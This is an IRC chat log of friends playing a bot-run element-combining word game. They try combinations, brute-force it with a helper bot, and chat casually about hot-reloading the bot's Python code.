[2014-12-31T15:37:33-0500] <alchemy> snowman and snowman don't make anything exciting.
[2014-12-31T15:37:34-0500] <cheater-bot> @combine energy energy
[2014-12-31T15:37:34-0500] <alchemy> friendship and friendship don't make anything exciting.
[2014-12-31T15:37:35-0500] <cheater-bot> @combine sculpture sculpture
[2014-12-31T15:37:35-0500] <alchemy> lava and lava don't make anything exciting.
[2014-12-31T15:37:36-0500] <cheater-bot> @combine hacker hacker
[2014-12-31T15:37:36-0500] <alchemy> You already combined light and light to get sentience.
[2014-12-31T15:37:37-0500] <cheater-bot> @combine electricity electricity
[2014-12-31T15:37:37-0500] <alchemy> pdgn and pdgn don't make anything exciting.
[2014-12-31T15:37:38-0500] <cheater-bot> @combine google google
[2014-12-31T15:37:38-0500] <alchemy> You already combined fire and fire to get energy.
[2014-12-31T15:37:39-0500] <cheater-bot> @combine robot robot
[2014-12-31T15:37:40-0500] <cheater-bot> @combine tool tool
[2014-12-31T15:37:40-0500] <alchemy> You already combined cloud and cloud to get thunder.
[2014-12-31T15:37:41-0500] <cheater-bot> @combine plant plant
[2014-12-31T15:37:41-0500] <alchemy> alok and alok don't make anything exciting.
[2014-12-31T15:37:42-0500] <cheater-bot> @combine rust rust
[2014-12-31T15:37:42-0500] <alchemy> ocean and ocean don't make anything exciting.
[2014-12-31T15:37:43-0500] <cheater-bot> @combine ice ice
[2014-12-31T15:37:43-0500] <alchemy> rain and rain don't make anything exciting.
[2014-12-31T15:37:44-0500] <cheater-bot> @combine soil soil
[2014-12-31T15:37:44-0500] <alchemy> You already combined energy and energy to get light.
[2014-12-31T15:37:45-0500] <cheater-bot> @combine water water
[2014-12-31T15:37:45-0500] <alchemy> sculpture and sculpture don't make anything exciting.
[2014-12-31T15:37:46-0500] <cheater-bot> @combine penguin penguin
[2014-12-31T15:37:46-0500] <alchemy> hacker and hacker don't make anything exciting.
[2014-12-31T15:37:47-0500] <cheater-bot> @combine linux linux
[2014-12-31T15:37:47-0500] <alchemy> electricity and electricity don't make anything exciting.
[2014-12-31T15:37:48-0500] <cheater-bot> @combine computer computer
[2014-12-31T15:37:48-0500] <alchemy> google and google don't make anything exciting.
[2014-12-31T15:37:49-0500] <cheater-bot> @combine olaf olaf
[2014-12-31T15:37:49-0500] <alchemy> robot and robot don't make anything exciting.
[2014-12-31T15:37:50-0500] <cheater-bot> @combine hole hole
[2014-12-31T15:37:50-0500] <alchemy> tool and tool don't make anything exciting.
[2014-12-31T15:37:51-0500] <cheater-bot> @combine blackhat blackhat
[2014-12-31T15:37:51-0500] <alchemy> plant and plant don't make anything exciting.
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[2014-12-31T15:37:52-0500] <alchemy> rust and rust don't make anything exciting.
[2014-12-31T15:37:53-0500] <alchemy> ice and ice don't make anything exciting.
[2014-12-31T15:37:54-0500] <alchemy> soil and soil don't make anything exciting.
[2014-12-31T15:37:55-0500] <alchemy> You already combined water and water to get ocean.
[2014-12-31T15:37:56-0500] <+JacobEdelman> killed
[2014-12-31T15:37:56-0500] <alchemy> penguin and penguin don't make anything exciting.
[2014-12-31T15:37:57-0500] <alchemy> linux and linux don't make anything exciting.
[2014-12-31T15:37:58-0500] <alchemy> computer and computer don't make anything exciting.
[2014-12-31T15:37:59-0500] <alchemy> olaf and olaf don't make anything exciting.
[2014-12-31T15:38:00-0500] <alchemy> hole and hole don't make anything exciting.
[2014-12-31T15:38:01-0500] <alchemy> blackhat and blackhat don't make anything exciting.
[2014-12-31T15:38:02-0500] <+JacobEdelman> its useless it seems
[2014-12-31T15:38:08-0500] <+JacobEdelman> okay
[2014-12-31T15:38:09-0500] <alokpathy> @list
[2014-12-31T15:38:09-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:38:09-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:38:09-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:38:09-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:38:09-0500] <alchemy> That's 63 out of 115!
[2014-12-31T15:38:11-0500] <Tamini_> because youre checking useless yhings
[2014-12-31T15:38:16-0500] <alokpathy> @combine alok whitehat
[2014-12-31T15:38:17-0500] <alchemy> alok and whitehat don't make anything exciting.
[2014-12-31T15:38:23-0500] <Tamini_> its more useful to check one thing against
[2014-12-31T15:38:23-0500] <alokpathy> @combine aaron pdgn
[2014-12-31T15:38:24-0500] <alchemy> aaron and pdgn don't make anything exciting.
[2014-12-31T15:38:25-0500] <Tamini_> everything else
[2014-12-31T15:38:31-0500] <Tamini_> @combine rust pdgn
[2014-12-31T15:38:32-0500] <alchemy> rust and pdgn don't make anything exciting.
[2014-12-31T15:38:36-0500] <alokpathy> Aw
[2014-12-31T15:38:36-0500] <+JacobEdelman> @combine pdgn chivalry
[2014-12-31T15:38:37-0500] <alchemy> pdgn and chivalry don't make anything exciting.
[2014-12-31T15:38:39-0500] <alokpathy> that should make pidgey
[2014-12-31T15:38:41-0500] <alokpathy> rust + pdgn
[2014-12-31T15:38:41-0500] <Tamini_> @possible irc
[2014-12-31T15:38:42-0500] <alchemy> No, you can't make irc.
[2014-12-31T15:38:50-0500] <Tamini_> @combine rust robot
[2014-12-31T15:38:51-0500] <alchemy> rust and robot don't make anything exciting.
[2014-12-31T15:38:53-0500] <+JacobEdelman> @possible jacob
[2014-12-31T15:38:53-0500] <alchemy> Yeah, you can make jacob.
[2014-12-31T15:39:00-0500] <+JacobEdelman> @possible olaf pdgn
[2014-12-31T15:39:01-0500] <alokpathy> @combine pdgn python
[2014-12-31T15:39:02-0500] <alchemy> pdgn and python don't make anything exciting.
[2014-12-31T15:39:08-0500] <alokpathy> Darn. I thought that'd make jacob.
[2014-12-31T15:39:09-0500] <+JacobEdelman> @combine freindship alok
[2014-12-31T15:39:09-0500] <alchemy> You don't have freindship!
[2014-12-31T15:39:14-0500] <alokpathy> @combine friendship aaron
[2014-12-31T15:39:14-0500] <Tamini_> me too lol
[2014-12-31T15:39:14-0500] <alchemy> You already combined friendship and aaron to get pdgn.
[2014-12-31T15:39:15-0500] <+hardmath123> JacobEdelman: learn to spell
[2014-12-31T15:39:21-0500] <alokpathy> @combine friendship alok
[2014-12-31T15:39:22-0500] <alchemy> friendship and alok don't make anything exciting.
[2014-12-31T15:39:24-0500] <Tamini_> hardmath123: we gave up on him already
[2014-12-31T15:39:29-0500] <alokpathy> hardmath123: It's too late.
[2014-12-31T15:39:29-0500] <+JacobEdelman> :)
[2014-12-31T15:39:31-0500] <+JacobEdelman> I can spell
[2014-12-31T15:39:36-0500] <+JacobEdelman> I just don't care about doing so
[2014-12-31T15:39:40-0500] <+JacobEdelman> theres a difference
[2014-12-31T15:39:44-0500] <Tamini_> well you should
[2014-12-31T15:39:46-0500] <+JacobEdelman> between willful ignorance
[2014-12-31T15:39:50-0500] <+JacobEdelman> and non-willful
[2014-12-31T15:39:52-0500] <Tamini_> yes
[2014-12-31T15:39:55-0500] <+JacobEdelman> :P
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[2014-12-31T15:39:58-0500] <Tamini_> willful ignorance is worse
[2014-12-31T15:40:02-0500] <+JacobEdelman> nah
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[2014-12-31T15:40:06-0500] <+JacobEdelman> ignorance is bluss
[2014-12-31T15:40:08-0500] <Tamini_> @combine python python
[2014-12-31T15:40:09-0500] <+JacobEdelman> :P
[2014-12-31T15:40:09-0500] <alchemy> python and python don't make anything exciting.
[2014-12-31T15:40:12-0500] <Tamini_> @combine python man
[2014-12-31T15:40:13-0500] <alchemy> python and man don't make anything exciting.
[2014-12-31T15:40:18-0500] <Tamini_> @combine python pdgn
[2014-12-31T15:40:18-0500] <alchemy> python and pdgn don't make anything exciting.
[2014-12-31T15:40:22-0500] <Tamini_> @list
[2014-12-31T15:40:22-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:40:22-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:40:22-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:40:22-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:40:22-0500] <alchemy> That's 63 out of 115!
[2014-12-31T15:40:27-0500] <+JacobEdelman> @combine joy pdgn
[2014-12-31T15:40:27-0500] <alchemy> joy and pdgn don't make anything exciting.
[2014-12-31T15:40:30-0500] <+hardmath123> ok now running a new-and-improved alchemy
[2014-12-31T15:40:31-0500] <+JacobEdelman> @combine joy aaron
[2014-12-31T15:40:32-0500] <alchemy> joy and aaron don't make anything exciting.
[2014-12-31T15:40:36-0500] <+JacobEdelman> @combine joy alok
[2014-12-31T15:40:36-0500] <alchemy> joy and alok don't make anything exciting.
[2014-12-31T15:40:40-0500] <+JacobEdelman> @combine joy blackhat
[2014-12-31T15:40:40-0500] <alchemy> joy and blackhat don't make anything exciting.
[2014-12-31T15:40:43-0500] <Tamini_> hardmath123: what's so new and improved about it?
[2014-12-31T15:40:43-0500] <+JacobEdelman> @combine joy pdgn
[2014-12-31T15:40:44-0500] <alchemy> joy and pdgn don't make anything exciting.
[2014-12-31T15:40:49-0500] <+JacobEdelman> @combine joy villain
[2014-12-31T15:40:49-0500] <alchemy> joy and villain don't make anything exciting.
[2014-12-31T15:40:56-0500] <Tamini_> @combine pdgn evil
[2014-12-31T15:40:56-0500] <+hardmath123> Tamini_: refactored so that the answers are in a separate file :P
[2014-12-31T15:40:56-0500] <alchemy> pdgn and evil don't make anything exciting.
[2014-12-31T15:41:00-0500] <Tamini_> @combine python evil
[2014-12-31T15:41:01-0500] <alchemy> python and evil don't make anything exciting.
[2014-12-31T15:41:02-0500] <+JacobEdelman> ah, so push it
[2014-12-31T15:41:07-0500] <+hardmath123> tell me if something breaks
[2014-12-31T15:41:11-0500] <Tamini_> @combine pdgn villain
[2014-12-31T15:41:11-0500] <alchemy> pdgn and villain don't make anything exciting.
[2014-12-31T15:41:12-0500] <+JacobEdelman> will do
[2014-12-31T15:41:16-0500] <+JacobEdelman> should I try to break it?
[2014-12-31T15:41:23-0500] <Tamini_> JacobEdelman: chesterbot pdgn against everything
[2014-12-31T15:41:29-0500] <+hardmath123> JacobEdelman: no, please
[2014-12-31T15:41:31-0500] <Tamini_> :P
[2014-12-31T15:41:36-0500] <+hardmath123> also "chesterbot"
[2014-12-31T15:41:36-0500] <alokpathy> Lol chesterbot.
[2014-12-31T15:41:43-0500] <Tamini_> yes
[2014-12-31T15:41:46-0500] <Tamini_> lets call him chester
[2014-12-31T15:41:48-0500] <Tamini_> :P
[2014-12-31T15:41:54-0500] <alokpathy> That's his new nickname xD
[2014-12-31T15:42:36-0500] <Tamini_> darn
[2014-12-31T15:42:39-0500] <Tamini_> alokpathy: i found you
[2014-12-31T15:42:42-0500] <Tamini_> you should find me
[2014-12-31T15:42:43-0500] <Tamini_> @hint
[2014-12-31T15:42:44-0500] <alchemy> Nope.
[2014-12-31T15:42:50-0500] <Tamini_> @possible ashley
[2014-12-31T15:42:50-0500] <alchemy> Yeah, you can make ashley.
[2014-12-31T15:42:55-0500] <Tamini_> @hint ashley
[2014-12-31T15:42:58-0500] <Tamini_> @hint
[2014-12-31T15:42:58-0500] <alchemy> No can do, buddy.
[2014-12-31T15:43:01-0500] <Tamini_> @hint
[2014-12-31T15:43:03-0500] <alchemy> Not on your life.
[2014-12-31T15:43:03-0500] <Tamini_> @hint
[2014-12-31T15:43:04-0500] <alchemy> No can do, buddy.
[2014-12-31T15:43:05-0500] <Tamini_> @hint
[2014-12-31T15:43:05-0500] <alchemy> Not on your life.
[2014-12-31T15:43:10-0500] <alokpathy> Harsh.
[2014-12-31T15:43:11-0500] <alokpathy> @list
[2014-12-31T15:43:11-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:43:11-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:43:11-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:43:11-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:43:11-0500] <alchemy> That's 63 out of 115!
[2014-12-31T15:43:13-0500] <Tamini_> @combine friendship friendship
[2014-12-31T15:43:13-0500] <alchemy> friendship and friendship don't make anything exciting.
[2014-12-31T15:43:20-0500] <Tamini_> @combine friendship joy
[2014-12-31T15:43:21-0500] <alchemy> friendship and joy don't make anything exciting.
[2014-12-31T15:43:25-0500] <alokpathy> @combine pdgn friendship
[2014-12-31T15:43:25-0500] <Tamini_> @combine joy energy
[2014-12-31T15:43:26-0500] <alchemy> pdgn and friendship don't make anything exciting.
[2014-12-31T15:43:26-0500] <alchemy> joy and energy don't make anything exciting.
[2014-12-31T15:43:31-0500] <alokpathy> @combine sentience pdgn
[2014-12-31T15:43:31-0500] <alchemy> sentience and pdgn don't make anything exciting.
[2014-12-31T15:43:32-0500] <+JacobEdelman> hardmath123, just a little?
[2014-12-31T15:43:36-0500] <alokpathy> @combine sentience laok
[2014-12-31T15:43:38-0500] <alchemy> You don't have laok!
[2014-12-31T15:43:38-0500] <alokpathy> @combine sentience alok
[2014-12-31T15:43:39-0500] <alchemy> sentience and alok don't make anything exciting.
[2014-12-31T15:43:47-0500] <Tamini_> @combine friendship evil
[2014-12-31T15:43:48-0500] <alchemy> friendship and evil don't make anything exciting.
[2014-12-31T15:43:52-0500] <Tamini_> wow love isnt evil friendship?
[2014-12-31T15:43:58-0500] <alokpathy> wat
[2014-12-31T15:44:02-0500] <+JacobEdelman> @combine evil alok
[2014-12-31T15:44:02-0500] <alchemy> evil and alok don't make anything exciting.
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[2014-12-31T15:44:06-0500] <+JacobEdelman> ...
[2014-12-31T15:44:08-0500] <+JacobEdelman> it died
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[2014-12-31T15:44:12-0500] <Tamini_> come baaaaaack
[2014-12-31T15:44:16-0500] <Tamini_> @list
[2014-12-31T15:44:16-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:44:16-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:44:16-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:44:16-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:44:16-0500] <alchemy> That's 63 out of 115!
[2014-12-31T15:44:19-0500] <+JacobEdelman> and it wasn't chester's fault this time
[2014-12-31T15:44:21-0500] <+hardmath123> @refresh
[2014-12-31T15:44:21-0500] <alchemy> Refreshing...
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[2014-12-31T15:44:23-0500] <+hardmath123> noooooooo
[2014-12-31T15:44:26-0500] <+JacobEdelman> ...
[2014-12-31T15:44:28-0500] <+JacobEdelman> fail
[2014-12-31T15:44:30-0500] <alokpathy> :|
[2014-12-31T15:44:34-0500] <Tamini_> you tried
[2014-12-31T15:45:16-0500] <Tamini_> what was refresh supposed to do?
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[2014-12-31T15:45:27-0500] <+hardmath123> @list
[2014-12-31T15:45:28-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:45:28-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:45:28-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:45:28-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:45:28-0500] <alchemy> That's 63 out of 115!
[2014-12-31T15:45:31-0500] <+hardmath123> @refresh
[2014-12-31T15:45:31-0500] <alchemy> Refreshing...
[2014-12-31T15:45:32-0500] <alchemy> Done.
[2014-12-31T15:45:34-0500] <+hardmath123> @list
[2014-12-31T15:45:35-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:45:35-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:45:35-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:45:35-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:45:35-0500] <alchemy> That's 63 out of 115!
[2014-12-31T15:45:39-0500] <Tamini_> ...?
[2014-12-31T15:45:45-0500] <+hardmath123> Ok, now I can add elements without killing the bot.
[2014-12-31T15:45:48-0500] <Tamini_> oh ok
[2014-12-31T15:45:52-0500] <+JacobEdelman> good
[2014-12-31T15:45:52-0500] <+hardmath123> It hotloads a new python module.
[2014-12-31T15:45:58-0500] <+hardmath123> The epitome of ugly python.
[2014-12-31T15:46:01-0500] <Tamini_> lol
[2014-12-31T15:46:10-0500] <+JacobEdelman> @combine sword thunder
[2014-12-31T15:46:10-0500] <alchemy> sword and thunder don't make anything exciting.
[2014-12-31T15:46:20-0500] <alokpathy> @combine python plant
[2014-12-31T15:46:21-0500] <alchemy> python and plant don't make anything exciting.
[2014-12-31T15:46:21-0500] <+JacobEdelman> ... can I test it?
[2014-12-31T15:46:23-0500] <Tamini_> @possible excalibur
[2014-12-31T15:46:23-0500] <alchemy> No, you can't make excalibur.
[2014-12-31T15:46:27-0500] <Tamini_> :<
[2014-12-31T15:46:28-0500] <+JacobEdelman> pretty please
[2014-12-31T15:46:34-0500] <Tamini_> @possible onering
[2014-12-31T15:46:35-0500] <alchemy> No, you can't make onering.
[2014-12-31T15:46:41-0500] <alokpathy> @possible engineering
[2014-12-31T15:46:42-0500] <alchemy> No, you can't make engineering.
[2014-12-31T15:46:47-0500] <Tamini_> @possible engineer
[2014-12-31T15:46:48-0500] <alchemy> No, you can't make engineer.
[2014-12-31T15:46:48-0500] <+JacobEdelman> @possible god
[2014-12-31T15:46:48-0500] <alchemy> Yeah, you can make god.
[2014-12-31T15:46:51-0500] <Tamini_> @combine engine man
[2014-12-31T15:46:52-0500] <alchemy> engine and man don't make anything exciting.
[2014-12-31T15:46:52-0500] <Tamini_> pls
[2014-12-31T15:46:52-0500] <alokpathy> lolololol
[2014-12-31T15:46:53-0500] <Tamini_> LOL
[2014-12-31T15:46:58-0500] <+JacobEdelman> god = jacob + jacob
[2014-12-31T15:46:59-0500] <Tamini_> @list
[2014-12-31T15:46:59-0500] <+JacobEdelman> duh
[2014-12-31T15:46:59-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:47:00-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:47:00-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:47:00-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:47:00-0500] <alchemy> That's 63 out of 115!
[2014-12-31T15:47:01-0500] <+JacobEdelman> wait
[2014-12-31T15:47:05-0500] <+JacobEdelman> other way around
[2014-12-31T15:47:08-0500] <alokpathy> @possible sky
[2014-12-31T15:47:09-0500] <alchemy> No, you can't make sky.
[2014-12-31T15:47:10-0500] <+JacobEdelman> jacob = god + god
[2014-12-31T15:47:19-0500] <Tamini_> @combine light evil
[2014-12-31T15:47:20-0500] <alchemy> light and evil don't make anything exciting.
[2014-12-31T15:47:25-0500] <Tamini_> @combine evil evil
[2014-12-31T15:47:26-0500] <alchemy> evil and evil don't make anything exciting.
[2014-12-31T15:47:26-0500] <alokpathy> @possible dark
[2014-12-31T15:47:27-0500] <alchemy> No, you can't make dark.
[2014-12-31T15:47:27-0500] <+JacobEdelman> @combine alok air
[2014-12-31T15:47:28-0500] <alchemy> alok and air don't make anything exciting.
[2014-12-31T15:47:30-0500] <+JacobEdelman> @combine alok dark
[2014-12-31T15:47:30-0500] <+hardmath123> @refresh
[2014-12-31T15:47:30-0500] <Tamini_> @possible satan
[2014-12-31T15:47:31-0500] <alchemy> You don't have dark!
[2014-12-31T15:47:32-0500] <alchemy> Refreshing...
[2014-12-31T15:47:32-0500] <alchemy> Done.
[2014-12-31T15:47:33-0500] <alchemy> No, you can't make satan.
[2014-12-31T15:47:34-0500] <alokpathy> @combine alok knight
[2014-12-31T15:47:34-0500] <Tamini_> @possible devil
[2014-12-31T15:47:34-0500] <+hardmath123> @list
[2014-12-31T15:47:35-0500] <alchemy> alok and knight don't make anything exciting.
[2014-12-31T15:47:36-0500] <alchemy> No, you can't make devil.
[2014-12-31T15:47:37-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:47:37-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:47:37-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:47:37-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:47:37-0500] <alchemy> That's 63 out of 115!
[2014-12-31T15:47:41-0500] <+hardmath123> crud
[2014-12-31T15:47:41-0500] <alokpathy> @combine alok sword
[2014-12-31T15:47:42-0500] <alchemy> alok and sword don't make anything exciting.
[2014-12-31T15:47:43-0500] <+hardmath123> @possible pizza
[2014-12-31T15:47:44-0500] <alchemy> No, you can't make pizza.
[2014-12-31T15:47:53-0500] <+hardmath123> aww it didn't actually work
[2014-12-31T15:47:56-0500] <alokpathy> :(
[2014-12-31T15:48:01-0500] <+JacobEdelman> thats sad
[2014-12-31T15:48:08-0500] <+JacobEdelman> can I sees the code and the problem?
[2014-12-31T15:48:17-0500] <Tamini_> :(
[2014-12-31T15:48:23-0500] <+hardmath123> import answers;
[2014-12-31T15:48:28-0500] <+hardmath123> pairs = answers.pairs
[2014-12-31T15:48:31-0500] <+hardmath123> and then later on
[2014-12-31T15:48:37-0500] <+hardmath123> reload(answers)
[2014-12-31T15:48:52-0500] <+JacobEdelman> eh... best to store the pairs in a pickle file
[2014-12-31T15:48:57-0500] <+JacobEdelman> pickle is nice and easy
[2014-12-31T15:48:59-0500] <+hardmath123> ew
[2014-12-31T15:49:00-0500] <+hardmath123> no
[2014-12-31T15:49:03-0500] <+JacobEdelman> why not?
[2014-12-31T15:49:05-0500] <+hardmath123> we discussed this
[2014-12-31T15:49:07-0500] <+hardmath123> yesterday
[2014-12-31T15:49:11-0500] <+JacobEdelman> data should not be in a code file
[2014-12-31T15:49:12-0500] <Tamini_> wait what do you have against pickling
[2014-12-31T15:49:19-0500] <+JacobEdelman> yeah
[2014-12-31T15:49:20-0500] <+JacobEdelman> pickles are good
[2014-12-31T15:49:24-0500] <+hardmath123> i like pickles
[2014-12-31T15:49:29-0500] <+hardmath123> outside cyberspace
[2014-12-31T15:49:30-0500] <+JacobEdelman> good
[2014-12-31T15:49:32-0500] <Tamini_> lol
[2014-12-31T15:49:38-0500] <+JacobEdelman> cyberspace is the internets
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[2014-12-31T15:49:55-0500] <+JacobEdelman> pickles on the internet would be weird
[2014-12-31T15:49:58-0500] <+hardmath123> @refresh
[2014-12-31T15:49:59-0500] <alchemy> Refreshing...
[2014-12-31T15:49:59-0500] <alchemy> Done.
[2014-12-31T15:50:02-0500] <+hardmath123> @list
[2014-12-31T15:50:03-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:50:03-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:50:03-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:50:03-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:50:03-0500] <alchemy> That's 63 out of 118!
[2014-12-31T15:50:23-0500] <+hardmath123> @refresh
[2014-12-31T15:50:24-0500] <alchemy> Refreshing...
[2014-12-31T15:50:24-0500] <alchemy> Done.
[2014-12-31T15:50:25-0500] <+hardmath123> @list
[2014-12-31T15:50:26-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:50:26-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:50:26-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:50:26-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:50:26-0500] <alchemy> That's 63 out of 116!
[2014-12-31T15:50:28-0500] <+hardmath123> YAAAAY
[2014-12-31T15:50:35-0500] <+hardmath123> that was hard
[2014-12-31T15:51:06-0500] <alokpathy> You took two out?
[2014-12-31T15:51:06-0500] <+JacobEdelman> @possible pickle
[2014-12-31T15:51:08-0500] <alchemy> No, you can't make pickle.
[2014-12-31T15:51:10-0500] <+JacobEdelman> ahh
[2014-12-31T15:51:16-0500] <alokpathy> @combine alok internet
[2014-12-31T15:51:17-0500] <alchemy> alok and internet don't make anything exciting.
[2014-12-31T15:51:20-0500] <+JacobEdelman> @combine pdgn knight
[2014-12-31T15:51:21-0500] <alchemy> pdgn and knight don't make anything exciting.
[2014-12-31T15:51:30-0500] <alokpathy> @combine rainbow ocean
[2014-12-31T15:51:31-0500] <alchemy> rainbow and ocean don't make anything exciting.
[2014-12-31T15:51:41-0500] <+JacobEdelman> @combine pdgn computer
[2014-12-31T15:51:42-0500] <alchemy> pdgn and computer don't make anything exciting.
[2014-12-31T15:51:46-0500] <+JacobEdelman> @combine pdgn electricity
[2014-12-31T15:51:47-0500] <alchemy> pdgn and electricity don't make anything exciting.
[2014-12-31T15:51:50-0500] <+JacobEdelman> @combine pdgn energy
[2014-12-31T15:51:51-0500] <alchemy> pdgn and energy don't make anything exciting.
[2014-12-31T15:51:54-0500] <+JacobEdelman> @combine pdgn engine
[2014-12-31T15:51:55-0500] <alchemy> pdgn and engine don't make anything exciting.
[2014-12-31T15:51:57-0500] <+JacobEdelman> @combine pdgn ent
[2014-12-31T15:51:58-0500] <alchemy> pdgn and ent don't make anything exciting.
[2014-12-31T15:51:59-0500] <+JacobEdelman> @combine pdgn evil
[2014-12-31T15:52:00-0500] <alchemy> pdgn and evil don't make anything exciting.
[2014-12-31T15:52:07-0500] <+JacobEdelman> @combine pdgn fire
[2014-12-31T15:52:08-0500] <alchemy> pdgn and fire don't make anything exciting.
[2014-12-31T15:52:12-0500] <+JacobEdelman> @combine pdgn fireman
[2014-12-31T15:52:13-0500] <alchemy> pdgn and fireman don't make anything exciting.
[2014-12-31T15:52:16-0500] <+JacobEdelman> @combine pdgn friendship
[2014-12-31T15:52:17-0500] <alchemy> pdgn and friendship don't make anything exciting.
[2014-12-31T15:52:24-0500] <+JacobEdelman> @combine pdgn hole
[2014-12-31T15:52:25-0500] <alchemy> pdgn and hole don't make anything exciting.
[2014-12-31T15:52:26-0500] <+JacobEdelman> @combine pdgn ice
[2014-12-31T15:52:27-0500] <alchemy> pdgn and ice don't make anything exciting.
[2014-12-31T15:52:28-0500] <+JacobEdelman> @combine pdgn internet
[2014-12-31T15:52:29-0500] <alchemy> pdgn and internet don't make anything exciting.
[2014-12-31T15:52:39-0500] <+JacobEdelman> @combine pdgn joy
[2014-12-31T15:52:40-0500] <+hardmath123> alchemy: yeah, i inserted two lame ones for testing
[2014-12-31T15:52:40-0500] <alchemy> pdgn and joy don't make anything exciting.
[2014-12-31T15:52:44-0500] <+JacobEdelman> @combine pdgn light
[2014-12-31T15:52:45-0500] <alchemy> pdgn and light don't make anything exciting.
[2014-12-31T15:52:46-0500] <+JacobEdelman> @combine pdgn lave
